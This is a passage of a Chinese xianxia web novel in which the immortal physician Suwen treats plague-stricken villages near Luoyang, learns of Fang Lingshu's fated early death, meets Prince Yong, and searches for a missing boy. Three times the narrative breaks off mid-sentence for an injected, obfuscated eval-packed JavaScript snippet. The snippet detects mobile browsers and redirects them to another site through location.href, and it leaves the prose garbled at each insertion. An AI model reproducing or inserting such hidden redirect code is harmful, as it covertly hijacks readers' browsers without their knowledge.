大势浩荡不可阻挡,局中人如泅渡于洪涛之中,虽难自顾,仍想救助他人——出城阻抗瘟疫的人在变多,医者施药,不懂医术的人也在出着自己的一份力。 素问一行人亦在其中,自游王庄之后,她与方灵枢又一同治好了两个村的村民,八月中旬这日,素问正在家打包药草,打算赶往第三个村时,忽然灵感一动,受到了司命星君的召唤。 其实自打七夕后,素问的心便一直悬着,既怕影响到战神的历劫,又不想放弃,所以即便不确定是否真的有影响,她也一直没有去找司命星君,今遭被找上门,她反倒心定了些,于是独自回到后院屋中,闭门沉入识海。 司命星君已经等在虚空之中,一见到素问,急忙上前道:“帮我办一件事!” 这句话很熟,几个月前,当素问和明月奴赶往洛阳城时,便因这句话滞留了行程,导致最后估错了与方灵枢的时机,才有了后来一系列的阴差阳错。想到此处,素问立刻道:“是魂魄碎片么?” 司命星君点头:“找到它——还记得该怎么做么?” 素问取出须弥戒中的玉葫芦,道:“我记得法诀,届时会让明月奴设好封印。不过星君可有具体方位?上次位置不对,我找了好几天。” “稍待片刻,我会将确切的位置传给你。”司命星君说着话,目光落在玉葫芦上,过了片刻,他忍不住伸出手,近乎温柔地靠近葫芦,但在触碰的前一刻,他生生停住,收了回去,低声道,“你已经有了第一片,只要接近,外间飘荡的碎片会被你吸引,不会太难找。” 素问收好玉葫芦,道:“好,我等星君的消息。” 司命星君露出笑意,温声道:“多谢,不过还是要劳你保密。” 素问笑道:“虽不知此人是谁,但是仅仅通过灵魂碎片,我便能感觉到此人的功德与正气,救回好人是应该的,我不会透露出去,对着师父也不说。” 司命星君看向素问的眼神有些复杂,眉头几番皱起,又平复下去。过了片刻,他退后一步,朝素问深深一揖。 素问连忙扶他,不敢受礼。 司命星君直起身,已然与平时无异,他笑着问道:“最近如何?心中可有疑惑?” 素问迟疑一瞬,最终还是摇头。 司命星君道:“那我先走了?” 素问连忙问道:“星君呢?就没有其他事要吩咐么?” 司命星君反问:“比如?” 素问看他神色自若,不像是方灵枢命本出问题的模样,心中大感疑惑,也冒出了些民不举官不究的侥幸,先前攒起坦白的勇气,这会儿便统统泄了个干净。她嘴唇微动,到底没说实话,只道:“星君,敢问方灵枢这一世会做大将军么?” 司命星君有些意外:“为何这么问?” “他是战神转世呀。”素问解释,“因此我想,或许你会给他写这样的命运。” 司命星君扬起嘴角,笑道:“战神可不一定喜欢打仗,而且已然是战神了,来人间一遭,体验体验另一种生活不是更好么?” 素问也问:“比如?” “手无缚鸡之力的文弱医师。” “……”素问顿了片刻,好心提醒,“星君不怕神尊回去后找你么?” 司命星君仰头大笑,他可能是真的开怀,笑了好一会儿才勉强停下,道:“不怕不怕,不过不瞒你说,我倒确实写了一段——等他……等过两年,他会以智囊的身份入军中,往后会一路升至军师,直至壮年战死。” 方才还是一片欢快的氛围,此时却仿佛有一道霹雳落在头顶,素问呆若木鸡,木然重复:“壮年……战死?” 司命星君这才发觉自己口无遮拦了,他连忙捂住嘴,左右踱了两步,不知该如何补救,索性扬手道别,化作一道白光消失。 素问从冥想中醒来,原地坐了不知多久,直到忽然一阵强光晃过眼睛,她才醒过神来。素问眨了眨眼,看向外间,发现是院中养睡莲的大水缸被风吹动,将日光晃到了脸上。她深吸一口气,起身回到前屋,不期然看见爰爰趴在门框上偷看外面,她的前面是抱臂严阵以待的明月奴,再往明月奴对着的方向看,只见李重琲正吊儿郎当地坐在洛河边的栏杆上,许是觉得无聊,他从荷包里掏出一把豆子开始喂马。 隔壁传来元度卿一声轻咳,李重琲抬头,一眼看到了素问,当即抛开缰绳,撒了豆子,笑呵呵地上前来,道:“素问!数日不见,你可还好?” 素问淡淡道:“衙内有何贵干?” 李重琲不禁缓了脚步,他感觉素问有点不对劲,但是仔细看去,素问姿态一如既往,面容也是淡然无波,甚至于说话的语气也没有什么变化,李重琲有些怀疑自己是不是想多了。 素问见他不回答,转身去柜台边继续整理药材。 明月奴左右为难,又想拦住李重琲,又想去帮忙,犹豫片刻,还是进门去帮素问。 李重琲顺势进门,摸了摸爰爰的头,将她拨到一边,停在了素问身边。 素问感觉李重琲在身后徘徊,几番探身过来,又缩了回去,便起身回头,问:“你想说什么?” “唔……”李重琲看着屋顶,挠了挠下巴,“我那个,想跟你一起去救灾。” 素问毫不犹豫地拒绝:“你不会医术,别去了,万一传上病症可不妙。” 李重琲立刻垂头看素问,笑嘻嘻道:“我给你打下手!” 明月奴立刻呛道:“是帮倒忙罢?” 李重琲当明月奴不存在,继续向素问道:“我带着手下一起去,你需要跑腿啦,干重活啦,我都可以!” “是你的人都可以罢?”明月奴上前一步,隔开李重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15141561|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琲,扬起下巴道,“行啊,把你的手下交给我们,你个娇滴滴的贵公子就不要凑这个热闹了!” “有你什么事?!”李重琲怒了,伸手欲将明月奴推到一边,不想一试之下,对方竟然纹丝不动,他立刻伸出双手去,气道,“我就不信了!” 爰爰见状,连忙拉住李重琲,劝道:“重琲哥哥,你不是他的对手!” 李重琲更是恼怒,一把甩开爰爰,指着她的鼻子吼道:“哪里来的黄毛野丫头!谁是你哥?!” 爰爰被吼呆了,下一刻,眼泪开始在眼睛里打转。 素问靠在柜台上,沉默地看着他们三个人。 李重琲哼了一声,理了理衣服,转向明月奴,正要继续战斗,目光不经意间落在素问脸上,看到素问的表情后,李重琲怒气立刻烟消云散,他这才发现自己挑起了一场闹剧,顿时有些手足无措,垂首站到了一边。 素问见他们平息了,弯腰提起两大袋草药,在李重琲目瞪口呆的目光中,单手将药草搬上了马车。 明月奴将剩下的药草也搬了上去,两人一人一边,坐上了马车。 李重琲见状,连忙冲出去拦住马,道:“我也去!我保证不添乱!素问你……” 素问淡淡相问:“如果你染病了,会有人被迁怒么?” 李重琲一怔,一时回答不出。 爰爰鼓着嘴,将他拉到一边。 明月奴嗤笑一声,正要赶车离开,元度卿忽然从家中冲出,将一大盆洗净的葡萄塞在了素问手里,然后迅速退开,笑道:“两位,速去速回啊,家里我会帮着照看的!” “你……”素问下意识要拒绝,只是低头看到葡萄上占着晶莹剔透的水珠,蓦然感觉到对方的心意,一如既往——元度卿此人瞧着有些不着调,但是过去的一个多月里,他一直对隔壁医庐这三个“晚辈”照顾有加,常常送水果糕点倒是其次,还会时不时拎着明月奴和爰爰天南海北地闲聊,冷不丁插一些大道理在其中,爰爰听得直点头,明月奴虽屡屡嗤之以鼻,但潜移默化的影响下,近几日已经变温和了不少。 比如在元度卿凑到旁边,非要与明月奴一同坐在河埠头时,他不再那么排斥。再比如现在,见元度卿如此不把自己当外人,明月奴也不反驳,只是压着嘴角,冷哼一事,便将马车赶走了,没过一会儿,又远远甩下一句“多谢!” 元度卿扇着不知哪里找来的羽扇,笑呵呵地摸了摸长须,甚是感慨:“这孩子,就是嘴硬心软啊!”说完,他回头看李重琲,露出惊讶的神情,“嗯?你怎么还不跟上去?” 李重琲如梦初醒,这才想起自己的目的,不过他没有立刻跟上去,而是瞪了元度卿一眼,喝道:“死老头!要你管!” 元度卿差点被气死,羽扇摇得“噗噗”响,直叹“世风日下”而归。 李重琲回头,见爰爰神色低落地站在门边,吩咐了一句“好好看家”,便骑上马,甩开一众随从,头也不回地走了。 23. 西园恶草(三) 素问这回救治的村镇并不远,就在洛阳城北,马车出城之后,行了一盏茶的功夫便到了。 素问取过明月奴手中的地图,又看了看周遭的棚户,两人对视一眼,都想起了一个人:“阿昭!” “我去找他。”明月奴立刻道。 素问很是欣慰,点头答应。 明月奴走后,素问在上风口搭药炉,没过多久,便闻马蹄声靠近,素问不用抬头也知道是谁,果然片刻之后,李重琲将快马勒住,一个箭步跳到了素问跟前,道:“我来垒砖!” 这倒是出乎意料。素问停手,本不抱希望,不想李重琲当真快速垒出炉灶,不由惊讶:“你竟然会这个?” 李重琲仰头,用手背擦了擦脸,留下一道墨痕,他自己浑然不觉,笑道:“我可不是生来富贵,贱命一条,会这个不奇怪!” 素问想起图南和方灵枢提起李重琲时的态度,道:“看来我还是不大了解衙内。” “嗐,过去有什么好了解的!”李重琲拍着手,起身叉腰,又恢复了平日里的嚣张模样,“往后日子还长着呢,要是你想了解,咱俩可以慢慢……” 素问立刻转头去拿草药。 李重琲装模作样地长叹了一声,过了片刻,忽然“咦”了一声,道:“这里看着有点熟悉,我是不是来过?” 素问道:“出城路过么?” “不是。”李重琲敲了敲脑袋,道,“就是前段时间,和石小娘子来找那个……那个谁?” 素问一愣,奇道:“难道是朝馨?” 李重琲抚掌道:“正是!” “竟然这么巧。”素问有些感慨,转而道,“他们家也在这里的话,那正好给她看看,你还记得在哪里么?” “可不好去,非把你气死不可!依我看,若是她夫家染了疫病,干脆也别治,都死了,她就解脱了。”李重琲说罢,见素问眉头轻蹙,知道她定然不认同,忙扯开话题,道,“诶?方灵枢那厮哪里去了?怎么让你一人在此处?” 提到方灵枢,素问难免想到司命星君的批语,手不禁一顿,但很快又恢复正常,她将草药都理好后,才淡淡道:“我没有叫他,他毕竟天生体弱。”说到这里,素问责备地看了李重琲一眼,继续道,“兼有衙内先前施加的重伤,连日辛苦,还是让他休息两日罢。” “唉,这件事难道过不去了么?”李重琲有些烦躁,连声道,“都说过改了,不会再打人了!还不容人知错就改么?!” 素问坚定道:“相识一场,我当然希望你能改邪归正!但是曾经犯下的错,是不是也应当补救一二?从方医师受伤至今,你不止一次见过他,却回回针锋相对,从未想过要向他道歉。” 李重琲气道:“我打他自有缘由,你没见他都不作声么?那是因为他心里有鬼!” “不与你计较便是心里有鬼么?你倒是说说,他欠你什么?” “要不是因为他,幼澄或许就不会死!” 素问一怔:“谁?” 李重琲刚刚没经脑子,说完便后悔了,他闭了闭眼,背过身去,道:“没什么?” 素问确信自己听到了“幼澄”这个名字,不过此人显然是李重琲的痛处,他不愿提,她也就不再追问,只叹道:“人的福气都是有限的,你挥霍多了,将来都是要还的,此时改过,弥补过去,来年清算因果时,你还有希望免受惩罚。” 李重琲抬眼看天,想了半晌没想明白,又回过身来问:“何意?你是说我死了会被惩罚?” 素问认真道:“不一定非得等到死后,也许活着的时候就会得报应,毕竟人间还有现世报一说,所以我劝你趁现在尚未酿成大错,悬崖勒马,为时不晚。” 李重琲眉头直跳,过了片刻,忽然邪邪一笑,道:“既然素问这么关心我,那我就听你的,怎么样?” 素问陷入了深深的反思:自己的话到底哪句有歧义,会让李重琲舍弃自己劝善的意图,只捡着关心他这件事来听? 不过若是真的就此改正,自己担了这个虚名也不是不行。 想到这里,素问便道:“那衙内可要记得今天的话。” 李重琲显然没想到素问竟然会反将一军了,当即一愣。 素问看他神情,莫名有些开心,扬起了嘴角。 按李重琲的惯性,他反应过来后就要抬杠了,但是看到素问的笑容,那些话便都咽了回去,他不自觉跟着笑起来。 明月奴在这时赶回来,他狐疑地瞥了李重琲一眼,问素问:“阿姐,这呆子傻笑什么?” 素问摊手表示不知,关切地问道:“阿昭怎么样?” “他母亲前几日病逝了,附近的人说他葬好了母亲,便带着一把伞往洛阳去了。” “终是没撑住么……”素问叹息,片刻后又振奋起精神,“阿昭一定是去找我们了!” 明月奴笑着点点头:“我想着也是,以后跟着我们,别的不说,总归饿不着病不倒。” 李重琲好奇地插嘴:“你们在说谁?什么阿昭?” 素问解释道:“先前进城遇见的孩子,想去我们医庐帮工,但是因为母亲生病,所以一直留在这里照顾母亲。” “是个孝子。”李重琲了然,忽又问,“你们医庐缺人?” “不缺。”素问说罢,向明月奴道,“爰爰不认得阿昭,万一这会儿到了,将人赶走就不好了,你先回去等着。” 明月奴点头,然后看向李重琲的马,问:“你的人呢?” “没带,素问说的对,我来这里可能会牵连到村子里的人,到时候好心也变成了坏事,索性不带人来,没人知道我的去处,自然也没什么好发作的了。” 明月奴一阵无言,看向素问。 素问觉得有些不妥,她先拍了拍自己腰上的狐狸毛,示意明月奴放心离去,等人走了,才转向李重琲,道:“你也回去罢,能帮的都帮过了。” 李重琲道:“方灵枢难道只是帮你垒个砖么?” “他是医师。” “我……我以后也是啊,你不是答应收我为徒么?不如从现在教起!” 素问摇头,正要继续劝说,忽然看见大道上扬起烟尘,显然是有大队人马从洛阳赶来,她目力强,隔得很远便看清了来人所穿的衣着,与先前从九皋山归来时拉走李重琲的人一模一样。 李重琲不明就里,顺着她的目光看去,奇道:“怎么了?” 素问收回目光,道:“雍王的人。” “什么?!”李重琲险些跳了起来,立刻转成了陀螺,到处找藏身的地方,甚至不惜往棚户聚集区去。 素问拉住他,道:“里面有病人,可能会传染。” 李重琲急道:“那怎么办?重美肯定不让我来这种地方!” 素问道:“坊间传闻,雍王是个很好的人。” 李重琲立刻挺直了腰板:“那是自然!” “既如此,让他知晓城外的情形,想来问题不大。”素问道。 李重琲一愣,很快就明白过来:“你的意思是……” 便在这时,众骑下了大道,往素问的方向来,还未到近前,便见他们往两边散开,让出了一条路。一人一骑放缓了速度,越众而出,停在了素问和李重琲的跟前。 马上的人蒙着半边脸,眉眼与李重琲有七分相像,不过目光清澈温和,年纪应当要更小一点。他看了素问一眼,微微弯了眼睛,点头示意,然后转向李重琲,温声道:“小哥,我寻你有些事,先回城罢。” 李重琲皱起眉,想拒绝,但是当着这么多人的面,又不想拂了对方的脸面,便没有说话。 素问瞥了李重琲一眼,主动开口道:“确实,此地或有疫病,李衙内保重身体为上,还是快些回去。” 雍王目光落到素问脸上,眉头一动,笑道:“这位想必就是叶医师,久仰大名,幸会。” 素问有些奇怪:“你如何认得我?” 雍王笑道:“何止是我,阁下大名,陛下亦有耳闻。” 李重琲脸色一变,急道:“你说什么?!” 雍王看向李重琲,道:“你先前闹得那般大,还指望陛下一无所知么?” 李重琲咬牙,恨声道:“他若是敢动素问……” “没有人会动叶医师,先前敢跟踪叶医师的人,我也都下令惩处了,想来叶医师亦有觉察。今日小哥来此地是为救灾,我知道,陛下也清楚。”说到此处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15153746|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,雍王再次看向素问,道,“叶医师这些时日辛苦了,陛下一直关注着疫病一事,如今诸事皆已安排妥当,余下的,就交给本王来处理,如何?” 素问淡淡一笑,不卑不亢:“我是医师,留下会有用处,衙内应当回城。” 李重琲低声抗议:“素问……” 素问看向他,温声道:“为了这一片百姓,你也应当保护好自己,对不对?快回去罢,等我回城之后,我会去你府上拜访,届时还望衙内莫要拒绝。” 李重琲听出素问的弦外之音,一时哽住,数次想要开口,终是让理智占了上风——如今这样处理是最好的,雍王代表朝廷出手救治灾民,素问留下帮忙,也可确认雍王不会言而无信,而他自己……他本来就是想来帮素问的,招来了更好的帮手后,不去拖后腿才是上策。 只是心中涌现的不舍叫李重琲迟迟应不下来。 雍王见状,暗自叹息,下马来到李重琲身边,拍了拍他的肩膀,道:“小哥,你还不相信我么?叶医师一定完璧回城,你放心。” 话已至此,李重琲再无留下的理由,终于退后一步,道:“保重,你们俩都是!” “等等。”素问忽然道。 李重琲正要离开,听到素问叫自己,眼睛一亮,忙道:“怎么?” 素问从袖中取出一方帕子递给李重琲,然后点了点自己的左脸,道:“这里有灰。” 李重琲正要去接,雍王半道截走了帕子,帮李重琲擦好后,也不等他说话,又双手递还,道:“劳叶医师清洗了。” 素问道:“小事一桩,雍王不必客气。” 李重琲气结,重重哼了一声,转身离开,一小队人马立刻跟上。 雍王目送一行人离开,然后转向素问,道:“叶医师,关于救治疫病之事,本王有几处问题需要请教,可否借一步说话?” 素问点头。 雍王冲身后的随从一挥手,众人有序下马,其中有两个很是眼熟,素问略一回想,便记起他们的身份——两人都是医师,这些时日在药铺购置药草时见过。雍王一边领着素问向旁边的大树下走,一边观察着素问,见她神情有变,温声道:“这次来得匆忙,只来得及召集三位坊间医师,叶医师认得罢?” 素问如实道:“见过两个。” 雍王停在树下,长身而立,温润如玉,语气始终客套有礼,他解释道:“这些时日,陛下一直在思索赈灾之事,对于城外疫病,稍有疏漏,这也是我告知不周的缘故。原本我打算召集整个洛阳城的医师商讨药方,不想略作打听,原来坊间早有义士,重美钦佩不已,亦想尽微薄之力,因此今日先带三人供叶医师差遣,若有需要,还请叶医师随时吩咐。” 素问来了兴趣,问道:“你如何知晓我一定会留下?” “叶医师不了解我,自然不会放心将这里交给我。”雍王说罢,又补充道,“自然,若是叶医师当真离开,该做的事,我还是会让他们去做,不过到时候或许要上门去借药方一观了。” 素问由衷道:“其实我等雍王很久了,如今旱灾严重,在下不才,勉力观测天象,推测恐怕短时间内都不会落雨,再过几个月就过了栽种粮食的季节,饥荒只会更加严重,死尸越多,越容易引发疫病,届时凭我一双手,无论如何也遏制不了瘟疫蔓延。” 雍王背过手,忧心忡忡地看向棚户区,过了片刻,低声道:“我又何尝不知?其实疫病起来有些时日了罢?要不是你们在坚持,等我说服了陛下,恐怕洛阳城里都不能幸免了。” 素问道:“依我看,只要朝廷愿意出手,一经开始,就莫要轻言放弃,如此只消一个月,定能扑灭所有的疫病。” 雍王眼睛一亮:“当真?” 素问点头:“我敢做保。” “不必。”雍王连忙道,“只要叶医师说出,在下就相信!” 素问心里一松,不由感慨:“你们兄弟俩可真不大一样。” 雍王笑道:“龙生九子,各不相同,小哥有小哥的长处。” 素问笑了笑,她并不打算与雍王深聊,打趣一句后,便准备抽身离开,于是道:“那我先去了。” 雍王拱手道:“有劳叶医师!” 24. 西园恶草(四) 有了雍王李重美的助力,素问确实轻松了许多,不过三日便控制住了棚户区的疫病,剩余还未痊愈的人有专人照顾,她可以先回洛阳城略作休整了。 与其他医师告辞之后,素问让李重美安排的马车夫先等片刻,她则独自前往棚户区打听朝馨的住处,不想这一去,连问了七八家,竟没有人听说过这个名字。 素问不禁怀疑是不是李重琲记错了,正在犹豫是离开,还是请李重美的人帮忙时,忽然感觉衣摆牵动。素问低头,发现是一个小女孩在扯她的衣服。 见素问看她,那个小女孩咧嘴一笑,露出正在换牙的牙肉。 素问蹲下去,与小女孩平视,柔声问道:“怎么啦?” 小女孩道:“姐姐找阿娘么?” 素问有些惊讶:“朝馨是你母亲?” 小女孩点头,不知想到什么,神情有些低落:“阿娘回娘家去了,不要兰兰。” 素问摸了摸身上,没找到什么糖果,只能摸摸兰兰的头,安慰道:“兰兰如此乖巧,你母亲不会丢下你的,她独自离开,想来是有事,过段时间就回来了。” 兰兰摇头:“可是阿婆说阿娘是扫帚星,村里人生病都是因为阿娘到处乱跑招来的,她让爹爹送阿娘家去,不给她回来了。” 素问不禁皱起眉头。 兰兰歪着头看素问,问道:“医女姐姐,是这样么?” “当然不是。”素问语气十分坚定,“天灾人祸,与你娘何干?她只是一个弱女子,怎么能担这么大的罪责?再说了,若是你娘当真能带来厄运,那官家将她送去契丹,岂不是兵不血刃就能解去北方的困境?” 兰兰眼睛一亮,一边蹦一边拍手,喜道:“对!对!我阿娘不是灾星!” 素问看着兰兰的笑颜,心里忽然又痒又痛,这种感觉从未有过,让她难受不已,她闭目调息片刻,才稍稍平静了些。 兰兰小小的手搭在素问的肩膀上,热乎乎的感觉传来,伴随着稚嫩的安慰:“姐姐,你不舒服么?” “我没事。”素问微笑着抬起头,想了片刻,也想不出对策,便问道,“你家住何处?过几天我来看望你可好?” 兰兰一派天真地问:“带着阿娘一起么?” 素问语塞,过了好半晌,才道:“我不知道你阿娘在何处,不过会尽力去找,若是找见了,我带她来见你。” “好呀!”兰兰连忙拉着素问来到秃秃的田埂上,指着不远处一间很小的茅草屋,道:“姐姐看,那是我家!” “我记住了。”素问垂头,摸了摸兰兰的脑袋,道,“我要先走了,有个阿昭哥哥在城里找我,但是家里到现在还没来消息,恐怕阿昭还没找到,我得回去看看。” 兰兰乖巧地点头:“姐姐慢走。” 素问背起药箱,转身离开,行了片刻后,又折转回来,从须弥戒里取出一枚护身符递给兰兰,道:“这个送给你,你要是生病了,我就会来治好你。” 兰兰接过,翻来覆去地看了一遍,好奇道:“我若生病了,姐姐如何知晓?你是仙女么?” 素问眯眼笑道:“对呀,王母娘娘派我来保护你。”刚说完,素问便见兰兰瞪大了眼睛,她担心兰兰回去后说出来会被人视作邪祟,忙补充道,“不过我只保护小孩,你可不能让大人知道哦!” 兰兰捂住嘴,依旧瞪着眼,狠狠点头。 素问这才放心离开。 回到洛阳城中,已经是日暮时分,马车直奔安平医庐,素问在马车里,远远瞧见明月奴坐在水边,元度卿在他旁边,一边打扇,一边喋喋不休,明月奴似乎忍无可忍,捂住了耳朵。 元度卿笑眯眯地回头,看向越来越靠近的马车,扬声道:“小素问回来咯!” 爰爰从屋里探出头,明月奴也放下了手,两人一前一后迎上来,等马车停了,明月奴掀开车帘,他知道素问挂念什么,不等她问,便答道:“阿姐,那孩子没来,李衙内自告奋勇要帮我们查他的行踪,说最迟明天会有消息。” 爰爰附和道:“重琲哥哥有门路,若是城门守卫见过,一定能查得到。” 素问向车夫道了谢,等人走后,才缓声道:“阿昭还是个孩子,这么多天……” “他应当会想办法填饱肚子……”明月奴说着说着,自己也觉得困难,勉强结了个尾,“罢?” “种花满西园,花发青楼道。花下一禾生,去之为恶草。” 姊妹三人的目光都被河边摇头晃脑吟着诗的元度卿吸引过去,元度卿念完诗,长长叹了一声,摇着羽扇往自家院子走去。 “什么意思啊……”爰爰摸不着头脑。 明月奴翻白眼:“谁知道,管他呢。” 素问也没听过这首诗,但是稍稍能猜出诗中含义,眼看着元度卿要进门了,她忙道:“先生留步!” 元度卿停步回头,笑问:“小素问叫我?” 素问点了点头,上前几步,问道:“先生方才所吟诗句中,说西园主人将禾苗当做恶草除去了?” 元度卿甚是欣慰:“读书多就是好呀,小奴儿,你可要多向你阿姐学习。” 明月奴崩溃大喊:“不!要!叫!我!小!奴!儿!!!” 元度卿“啧啧”感叹:“这孩子,怎么还是如此暴躁?” 素问看着他们的吵闹,自己仿佛灵魂出窍一样,被隔离在喜怒哀乐之外,过了好一会儿,才喃喃道:“先生是说,阿昭……遇到危险了么?” 元度卿笑道:“我都不认得阿昭,怎么知道他危不危险?李衙内不是说明日会有消息么?安心等着便是了!” 明月奴气冲冲道:“就是!他一个糟老头子知道什么?阿姐别听他胡说八道!” 暮鼓声响起,素问抬头看着天边的晚霞,知道元度卿此言在理,只得道:“明日一早,我要去寻衙内。” 这一夜,素问没心思打坐,手里拿着龟甲,想要卜问吉凶,却迟迟不敢动手请卦。 天蒙蒙亮时,明月奴从修炼中醒来,看到素问还保持着他入定前的姿势,便轻手轻脚来到她身边坐下,道:“都怪我先前学艺不精,要是早在阿昭身上留了香,这会儿找起来就方便了。” 素问垂眸,淡淡道:“怪谁也怪不到你头上,而且还未有定论,或许阿昭安然无恙呢。” 明月奴道:“阿昭当日知道拦下我们的车,可见很有眼光;小小年纪便能独自照顾病重的母亲,直至让她入土为安,可见活命的本事也有;先前他母亲说过,他们曾经也是洛阳城里的富贵人家,因此阿昭对城里的情况应当熟悉,也不必怕他迷路。如今人还没到,或许是在哪里绊住了脚,但一定没事。” 素问点了点头。 明月奴一股脑儿将能想到的劝慰都说了,素问不搭话,他也不知该说什么。两人默然等着天亮,也不知过了多久,明月奴忽然道:“阿姐,自从七夕那日回来后,你好像变了。” 素问微微一笑:“是么?” 明月奴转头看她,琢磨出意味来:“阿姐知道?” 素问沉默片刻,点了点头。 明月奴不禁一笑,道:“一个多月前,我说成仙便是摒弃本性,那不如不去修仙,阿姐那时很不赞同,原来方灵枢这么重要么?竟能让阿姐甘愿沉沦凡尘。” 素问轻声道:“不光是因为方灵枢。” “还有谁?” “不是某个人。”素问深吸一口气,仰面看着外间,缓声道,“其实我现在也没有完全明白,但是好像触碰到了那个边缘,与里面的世界相比,过往千百年岁月都变得乏善可陈,我很是向往,但也有些害怕。” 明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162821|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月奴不是很懂,但抓住了重点,问道:“你不打算回仙界了?” “当然要回。”素问果断道,“就像神尊来人间历劫,千帆过尽后,他会放下一切回到神界,我也会放下一切回到仙界,届时说不定还能提升境界,毕竟若未入世,谈何出世?” 明月奴笑问:“阿姐就不担心自己放不下么?” 素问毫不担心:“你说过的呀,人都是会死的,百年之后,归位的归位,轮回的轮回,各有各的去处,我有什么好放不下的?” “也好。”明月奴沉吟道,“人生得意须尽欢,莫使金樽空对月,尽情一场,不留遗憾便是。” 素问扬眉:“这句诗不会是……” 明月奴立刻沉下脸,“呸”了一声:“晦气!” 素问哈哈大笑,惊起屋角沉睡的爰爰,她揉着眼睛坐起身,因刚睡醒,灵力还不稳,发髻上冒出了两个兔耳朵,她自己毫无察觉,迷迷糊糊地问:“阿姐,遇见什么好笑的事啦?” 明月奴咬牙道:“你睡觉流口水了!好不好笑?!” “嗯?”爰爰摸了摸嘴角,疑惑道,“没有啊。” “收好你的兔耳朵!”明月奴起身,气冲冲地往外走,“天亮了!找人去!” 爰爰连忙捂住两个耳朵,狠狠瞪了明月奴的背影一眼,然后看向收住笑意的素问:“阿姐,我也去么?” 素问摇头。 爰爰来到素问身边,见到龟甲,问道:“阿姐想占卜?” 素问抿唇,没有回答。 爰爰道:“这么大的龟甲,如今可很难找了,我听说龟卜要烧龟甲,用完一次就坏了。” 素问低声道:“是啊……” 爰爰笑道:“阿姐舍不得,所以才迟迟不起卦么?那不如试试如今人间的新法子?” 素问抬头,爰爰冲她一眨眼,然后从怀里摸出三枚铜钱,闭目念念有词片刻,将铜钱抛到地上,素问垂头看,道:“两阴一阳。” “嗯,还有几次,阿姐帮忙记着。”说罢,爰爰又摇了五次,最后睁眼道,“好了,不过我不会解卦,得出去问问。” “我或许知道。”素问将三枚铜钱捡起,摊在手心,递给爰爰,道,“是六爻罢?” 爰爰奇道:“阿姐也会么?” “六爻自古有之,只是从前用蓍草,用铜钱起卦确实新奇。”素问说罢,起身来到案前,持笔将六次结果记下。 爰爰在一边看,不禁皱起眉头:“这……好像不太妙啊……不过我不懂!想来有误!” 素问沉默片刻,淡淡道:“大凶之兆,我想找的人……恐怕已经不在了。” 爰爰缩起脖子,小心地看着素问:“阿姐……” “无妨。”素问放下笔,冷静道,“生死无常,也算在预料之中,不过就算是死了,我也要找到阿昭的尸身,凡人总归都是要入土为安的。” 爰爰连连点头,道:“我这就去!” “不必,既已起卦,加一个扶乩问灵也无不可。” “自然不可!”明月奴冲了回来,急道,“卜卦又不用动灵……”明月奴说着,扫了爰爰一眼,将剩下的话咽了回去,沉声道,“阿姐方才不是说了么,生死无常,既然明白,人都死了,为何还非得知晓下落?” “阿昭是为了来找我。”话说出口,仿佛变成了一团棉絮回到了胸口,让素问堵得慌,她站起身,走到房门口,深吸一口气,才感觉好了些。 明月奴来到素问身后,本想说也许阿昭的死与来洛阳无关,但纠结一瞬后,他还是放弃了,只道:“阿姐要找,我们就去找,活人我寻不到,若要寻个死人,却不是没可能。” 素问一惊:“你……” 明月奴打断道:“去拘几个孤魂野鬼来帮忙而已,放心,不会动用禁术。” 25. 西园恶草(五) 日头高悬,洛阳城宛如一个疲倦的巨兽般缓缓苏醒,笔直的天街直通定鼎门,从天街中间看去,虽隔着数坊的距离,巍峨的城墙依旧清晰可见。长街人来人往,多得是身穿绫罗绸缎的贵人,素问置身其中,对比北市周遭,感觉自己仿佛来到了另一个世界。 李重琲住惯了“天街十二坊”之一的宣风坊,竟还时时往北市跑,也属稀奇。 正想着,马蹄声传来,李重琲从坊中驶出,还没到跟前,便从马上跳了下来,三步并两步地来到素问跟前,道:“怎么不报我的名号?你就说是我的好友,看谁敢拦你!” “宣风坊进不进不重要,他们帮我送信给贵府阍者,这就够了。”素问温声道,“今日找衙内,是想麻烦你带我去一个地方。” 李重琲忙问:“哪里?” “在此之前,我想先问一下,李衙内有阿昭的消息了么?” 李重琲咽了咽口水,如实道:“我昨天找到了蛛丝马迹,本以为今日可以找到人,所以才……” 素问偏头看他,见李重琲垂着头不说下去,接道:“所以才给了承诺么?” 李重琲一叹:“对不住,我太自大了。安喜门的守卫说看见过拿着伞的孩子进城,却无人注意他的去向,也不知是不是寻亲戚去了。” “寻亲……”素问不禁苦笑,“除了我,阿昭在洛阳没有可投靠的人。” 李重琲挠头:“那就奇怪了,一个孩子能跑到哪里去呢?” 素问喃喃道:“元先生说得不错,花下一禾生,去之为恶草。” 